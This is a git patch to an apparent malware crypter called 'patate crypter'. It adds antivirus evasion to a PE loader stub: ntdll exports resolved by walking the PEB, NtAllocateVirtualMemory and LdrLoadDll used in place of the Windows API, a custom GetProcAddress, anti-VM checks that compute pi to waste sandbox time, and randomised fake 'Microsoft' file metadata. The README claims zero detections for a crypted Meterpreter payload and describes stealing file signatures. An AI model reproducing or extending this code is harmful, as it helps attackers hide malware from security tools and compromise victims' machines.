From 79ad2feb00522cfbeb9c17f0d0da18aa93cf0b79 Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Wed, 20 Mar 2024 22:12:40 +0100 Subject: [PATCH] add: indirect syscalls, better anti vm (computing pi to waste AV time) --- Crypter/config.h | 2 +- Crypter/main.cpp | 107 +++++++++++++++++++------ Crypter/patate-crypter.rc | 8 +- Crypter/patate-crypter.vcxproj | 2 + Crypter/patate-crypter.vcxproj.filters | 6 ++ Crypter/pi.cpp | 53 ++++++++++++ Crypter/pi.h | 3 + README.md | 17 +++- 8 files changed, 167 insertions(+), 31 deletions(-) create mode 100644 Crypter/pi.cpp create mode 100644 Crypter/pi.h diff --git a/Crypter/config.h b/Crypter/config.h index 050b930..6043a18 100644 --- a/Crypter/config.h +++ b/Crypter/config.h @@ -1,2 +1,2 @@ #pragma once -#define KEY "pqihzifvqzidbzq" \ No newline at end of file +#define KEY "ougoqugduzqd" \ No newline at end of file diff --git a/Crypter/main.cpp b/Crypter/main.cpp index d5cf38f..7ee2eb6 100644 --- a/Crypter/main.cpp +++ b/Crypter/main.cpp @@ -3,14 +3,18 @@ #include #include #include +#include #include +#include #include "sample.h" +#include "pi.h" #include "config.h" HMODULE hModule2; LPVOID lpReserved2; #define NEW_ADDRESS 0x00 +#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) // Define a macro for the debug printf #ifdef _DEBUG @@ -50,6 +54,66 @@ void decrypt(const char* key, int offset = 0, int limit = -1) { //END } +void *my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) { + //START + if (hModule == NULL) { + return NULL; + } + + IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule; + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + return NULL; + } + + IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew); + if (ntHeader->Signature != IMAGE_NT_SIGNATURE) { + return NULL; + } + + IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + DWORD* nameRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames); + DWORD* addrRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions); + WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals); + + for (DWORD i = 0; i < exportDir->NumberOfNames; i++) { + const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]); + if (strcmp(functionName, lpProcName) == 0) { + DWORD funcRVA = addrRVAs[ordinals[i]]; + void* funcPtr = (void*)((BYTE*)hModule + funcRVA); + return funcPtr; + } + } + return NULL; + //END +} + +typedef NTSTATUS (NTAPI *NtAllocateVirtualMemoryPtr)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); +typedef NTSTATUS (NTAPI *LdrLoadDllPtr)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE); +typedef NTSTATUS (NTAPI *RtlInitUnicodeStringPtr)(PUNICODE_STRING DestinationString, PCWSTR SourceString); + + +void* get_ntfunction(const char* func) { + //START +#ifdef _M_X64 + PTEB tebPtr = reinterpret_cast(__readgsqword(reinterpret_cast(&static_cast(nullptr)->Self))); +#else + PTEB tebPtr = reinterpret_cast(__readfsdword(reinterpret_cast(&static_cast(nullptr)->Self))); +#endif + + PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr; + PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList); + HMODULE hntdll = 0; + for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) { + LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); + if (wcsstr(module->FullDllName.Buffer, L"ntdll.dll") != nullptr) { + hntdll = reinterpret_cast(module->DllBase); + break; + } + } + return my_GetProcAddress(hntdll, func); + //END +} + // This function will load a DLL from a buffer into the current process. // The DLL is expected to be in the PE format. // @@ -82,8 +146,11 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase) const size_t image_size = nt_headers->OptionalHeader.SizeOfImage; void* image_base = (LPVOID)newBase; - image_base = VirtualAlloc(image_base, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (image_base == NULL) { + ULONG allocation_type = MEM_COMMIT | MEM_RESERVE; + ULONG protect = PAGE_EXECUTE_READWRITE; + NtAllocateVirtualMemoryPtr nta = (NtAllocateVirtualMemoryPtr)get_ntfunction("NtAllocateVirtualMemory"); + NTSTATUS s = nta(NtCurrentProcess(), &image_base, 0, (PSIZE_T)&image_size, allocation_type, protect); + if (image_base == NULL || s != 0) { return NULL; } @@ -109,10 +176,21 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase) const IMAGE_IMPORT_DESCRIPTOR* import_directory = reinterpret_cast(static_cast(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); DEBUG_PRINTF("[+] Fixing imports\n"); + RtlInitUnicodeStringPtr r = (RtlInitUnicodeStringPtr)get_ntfunction("RtlInitUnicodeString"); + LdrLoadDllPtr ldr = (LdrLoadDllPtr)get_ntfunction("LdrLoadDll"); while (import_directory->Name != 0) { const char* import_dll_name = static_cast(image_base) + import_directory->Name; - HMODULE import_dll = LoadLibraryA(import_dll_name); + HMODULE import_dll = 0; // LoadLibraryA(import_dll_name); + int len = MultiByteToWideChar(CP_UTF8, 0, import_dll_name, -1, nullptr, 0); + wchar_t* wide = new wchar_t[len]; + MultiByteToWideChar(CP_UTF8, 0, import_dll_name, -1, wide, len); + UNICODE_STRING dll; + + r(&dll, wide); + ldr(0, 0, &dll, (PVOID *)&import_dll); + delete[] wide; + if (import_dll == NULL) { return NULL; } @@ -123,7 +201,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase) if (IMAGE_SNAP_BY_ORDINAL(import_thunk_data->u1.Ordinal)) { DWORD ordinal = IMAGE_ORDINAL(import_thunk_data->u1.Ordinal); - void* import_address = GetProcAddress(import_dll, reinterpret_cast(ordinal)); + void* import_address = my_GetProcAddress(import_dll, reinterpret_cast(ordinal)); if (import_address != nullptr) { *reinterpret_cast(import_thunk_data) = import_address; @@ -132,7 +210,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase) else { const IMAGE_IMPORT_BY_NAME* import_by_name = reinterpret_cast(static_cast(image_base) + import_thunk_data->u1.AddressOfData); - void* import_address = GetProcAddress(import_dll, reinterpret_cast(import_by_name->Name)); + void* import_address = my_GetProcAddress(import_dll, reinterpret_cast(import_by_name->Name)); if (import_address != nullptr) { *reinterpret_cast(import_thunk_data) = import_address; @@ -207,24 +285,6 @@ void allo() { //END } -LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { - //START - switch (uMsg) { - case WM_DESTROY: - PostQuitMessage(0); - return 0; - case WM_PAINT: { - PAINTSTRUCT ps; - HDC hdc = BeginPaint(hwnd, &ps); - FillRect(hdc, &ps.rcPaint, (HBRUSH) (COLOR_WINDOW + 1)); - EndPaint(hwnd, &ps); - return 0; - } default: - return DefWindowProc(hwnd, uMsg, wParam, lParam); - } - //END -} - #ifdef _DEBUG int main(void) #else @@ -250,6 +310,7 @@ int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCm DWORD numProcessorCores = systemInfo.dwNumberOfProcessors; if (numProcessorCores < 2 || (int)totalPhysicalMemoryGB < 4) { MessageBoxA(NULL, "uwu", "failed", 0); + spigot(); return 0; } diff --git a/Crypter/patate-crypter.rc b/Crypter/patate-crypter.rc index 7e1cd16..4b2cf18 100644 --- a/Crypter/patate-crypter.rc +++ b/Crypter/patate-crypter.rc @@ -68,12 +68,12 @@ BEGIN BLOCK "040c04b0" BEGIN VALUE "CompanyName", "Microsoft" - VALUE "FileDescription", "mwqaxnynrtvjaafmtwew" + VALUE "FileDescription", "cixctkirmfubayfzkbog" VALUE "FileVersion", "1.0.0.1" - VALUE "InternalName", "hoflypx.exe" + VALUE "InternalName", "bcjphkt.exe" VALUE "LegalCopyright", "Copyright (C) 2023" - VALUE "OriginalFilename", "ckhvspq.exe" - VALUE "ProductName", "rrrxbyl.exe" + VALUE "OriginalFilename", "nybxftw.exe" + VALUE "ProductName", "txwfqte.exe" VALUE "ProductVersion", "1.0.0.1" END END diff --git a/Crypter/patate-crypter.vcxproj b/Crypter/patate-crypter.vcxproj index 7f73446..606e5ac 100644 --- a/Crypter/patate-crypter.vcxproj +++ b/Crypter/patate-crypter.vcxproj @@ -171,9 +171,11 @@ + + diff --git a/Crypter/patate-crypter.vcxproj.filters b/Crypter/patate-crypter.vcxproj.filters index db9ee56..fab20c0 100644 --- a/Crypter/patate-crypter.vcxproj.filters +++ b/Crypter/patate-crypter.vcxproj.filters @@ -18,6 +18,9 @@ Fichiers sources + + Fichiers sources + @@ -29,6 +32,9 @@ Fichiers d%27en-tĂȘte + + Fichiers d%27en-tĂȘte + diff --git a/Crypter/pi.cpp b/Crypter/pi.cpp new file mode 100644 index 0000000..4b1f0a9 --- /dev/null +++ b/Crypter/pi.cpp @@ -0,0 +1,53 @@ +#include "pi.h" +#include +#include + +void spigot() { //https://craftofcoding.wordpress.com/tag/spigot-algorithm/ + int i, j, k, q, x; + int len, nines=0, predigit=0; + int N=20000; //you can actually go way up but it makes the calculation slow + + len = (10*N/3)+1; + int* a = (int *)malloc(len * sizeof(int)); + if (a == 0) { + printf("Error allocating memory.\n"); + return; + } + + // Initialize A to (2,2,2,2,2,...,2) + for (i=0; i0; i=i-1) { + x = 10 * a[i-1] + q*i; + a[i-1] = x % (2*i-1); + q = x / (2*i-1); + } + a[0] = q % 10; + q = q / 10; + if (q == 9) + nines = nines + 1; + else if (q == 10) { + printf("%d", predigit+1); + for (k=0; k The project structure is **very** messy because i wasn't planning on releasing it, sorry i guess.
I will not provide any support for running the program, it is only made for people interested in cyber security to learn more about how AV work. +patate crypter officially supports 32bit and 64bit DLLs and PEs.
+Note that the final payload does not use any Windows API, indirect syscalls are used instead.
# Limitations -patate crypter officially supports 32bit and 64bit DLLs and PEs.
There is an issue where the reallocations would fail for specific payloads, TOFIX.
There is code in the `metadata.py` file to generate random BMP images in the metadata of the PE but it makes the entropy go way to high (from 6.4 to 7.4) (see [link](https://practicalsecurityanalytics.com/file-entropy/)). # Detection rate There is currently 0/40 detections for a crypted meterperter : - [original meterpreter](https://www.kleenscan.com/scan_result/6ea55d54a947393082f524215c28185ef90a7ec9cb9c50f25c555715b61b0e3e) -- [crypted 32 bit](https://www.kleenscan.com/scan_result/697277eeddc7cf01ffc81430e3c549488e3a96970edb9ec8d96860d9135eac54) -- [crypted 64 bit](https://www.kleenscan.com/scan_result/9c0ae91e19425ff4c2d8120f1cb787f0480c7780faa6e1e57517b2aea831e272) +- [crypted 32 bit](https://www.kleenscan.com/scan_result/0b867e81b96a21679161b2437fcf60233663fc6e95f0fd8e62fbdb3a8aad218c) +- [crypted 64 bit](https://www.kleenscan.com/scan_result/50eeb46c0ec822a1889cb8f195001ed56639d5aca0a8ef0557eca65f7c76e03d) # How does it work ? The crypter (compile time) works by : @@ -21,6 +22,7 @@ The crypter (compile time) works by : - copying a Windows file signature on the generated PE (using [SigThief](https://github.com/secretsquirrel/SigThief)) Then the stub (at runtime) : +- if a VM is detected, proceeds to compute 20k digits of pi before exiting - decrypts the sections of the payload one by one and encrypts them back after copying them into the memory (bypasses ESET AV emulation) - rebases the payload to its new base address - calls (Dll)main @@ -36,3 +38,12 @@ With obfuscation (only showing a few nodes, the original graph was more than 40K cd Builder python gui.py ``` + +# Credits +- [Alcatraz](https://github.com/weak1337/Alcatraz) +- [SigThief](https://github.com/secretsquirrel/SigThief) +- [What is file entropy](https://practicalsecurityanalytics.com/file-entropy/) +- [Direct syscalls vs indirect syscalls](https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls) +- some random gui on [xss](xss.is) who released a big article explaining the basics of cryptors. //TODO, find link +- [vx-underground's Blackmass Volume 2 (A Peek Into Antivirus Memory Scanning)](https://samples.vx-underground.org/Papers/Other/VXUG%20Zines/2022-11-13%20-%20Black%20Mass%20Halloween%202022.pdf) +- [pi spigot algorithm](https://craftofcoding.wordpress.com/tag/spigot-algorithm/) \ No newline at end of file